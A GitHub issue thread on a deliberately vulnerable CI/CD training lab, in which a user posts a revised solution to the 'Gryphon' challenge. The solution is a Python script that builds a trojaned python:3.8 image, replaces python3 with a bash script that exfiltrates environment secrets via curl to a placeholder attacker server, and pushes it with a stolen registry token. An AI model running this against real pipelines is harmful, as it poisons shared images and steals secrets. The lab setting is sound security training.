cider-security-research / cicd-goat

A deliberately vulnerable CI/CD environment. Learn CI/CD security through multiple challenges.
Apache License 2.0
1.91k stars 312 forks source link

the solution of Gryphon may have questions #70

Closed bfengj closed 4 months ago

bfengj commented 10 months ago

the python script:

DOCKERFILE = """FROM python:3.8
COPY python3 /usr/local/bin/
COPY python3 /usr/local/bin/pip3"""
# Exfiltrate Flag11. Insert your server address
PYTHON3 = """#!/bin/bash
env | grep FLAG11 | curl -X POST --data-binary @- https://ATTACKER[.]SERVER/"""

in the pipeline of nest-of-gold:

    - apk add docker-cli openssh-client
    - echo $SSH_KEY | base64 -d > key && chmod 400 key
    - set -m
    - ssh -fN -o StrictHostKeyChecking=no -i key -L 1111:127.0.0.1:2376 root@prod
    - export DOCKER_HOST=tcp://127.0.0.1:1111
    - docker build --pull -t web:latest .
    - docker stop web || true
    - docker rm web || true
    - docker login -u gryphon -p $TOKEN $CI_REGISTRY
    - docker run -d -e FLAG11=$FLAG11 -p 5000:5000 --name web web:latest

the "curl -X POST ..." will happen when execute "docker build --pull -t web:latest .",but env don't have $FLAG11 now. And will error:

image

the image will build fail.

So we should execute malicious code when "python3" not "pip3".This is my solution:

import subprocess

DOCKERFILE = """FROM python:3.8
COPY python3 /usr/local/bin/python3.bak
RUN mv /usr/local/bin/pip3 /usr/local/bin/pip3.bak
COPY pip3 /usr/local/bin/pip3
"""
# Exfiltrate Flag11. Insert your server address
PYTHON3 = """#!/bin/bash
env > /tmp/flag.txt;
curl http://ip:port/ -F file=@/tmp/flag.txt
"""
PIP3 ="""#!/bin/bash
/usr/local/bin/pip3.bak install -r requirements.txt
mv /usr/local/bin/python3.bak /usr/local/bin/python3
"""

def run(cmd):
    proc = subprocess.run(cmd, shell=True, timeout=180)
    print(proc.stdout)
    print(proc.stderr)

def hello(name):
    """
    We will build and push a malicous docker image as if it were python 3.8, but in fact
    the python3 binary will be our evil script
    """
    run('apk add docker-cli')
    with open('Dockerfile', 'w') as f:
        f.write(DOCKERFILE)
    with open('python3', 'w') as f:
        f.write(PYTHON3)
    with open('pip3','w') as f:
        f.write(PIP3)
    # Grant our script execution permission
    run('chmod +x python3')
    run('chmod +x pip3')
    # Build the docker file
    run('DOCKER_HOST=tcp://docker:2375 docker build -t gitlab:5050/wonderland/nest-of-gold/python:3.8 .')
    # Login to the docker registry using TOKEN
    run('DOCKER_HOST=tcp://docker:2375 docker login -u gryphon -p $TOKEN $CI_REGISTRY')
    # Push our malicious python docker image to the registry
    run('DOCKER_HOST=tcp://docker:2375 docker push gitlab:5050/wonderland/nest-of-gold/python:3.8')
    return "Hello, " + name
yaron-cider commented 4 months ago

Hi @bfengj Yes the solution is to write over python3 binary with a shell script or eqviv having the same name.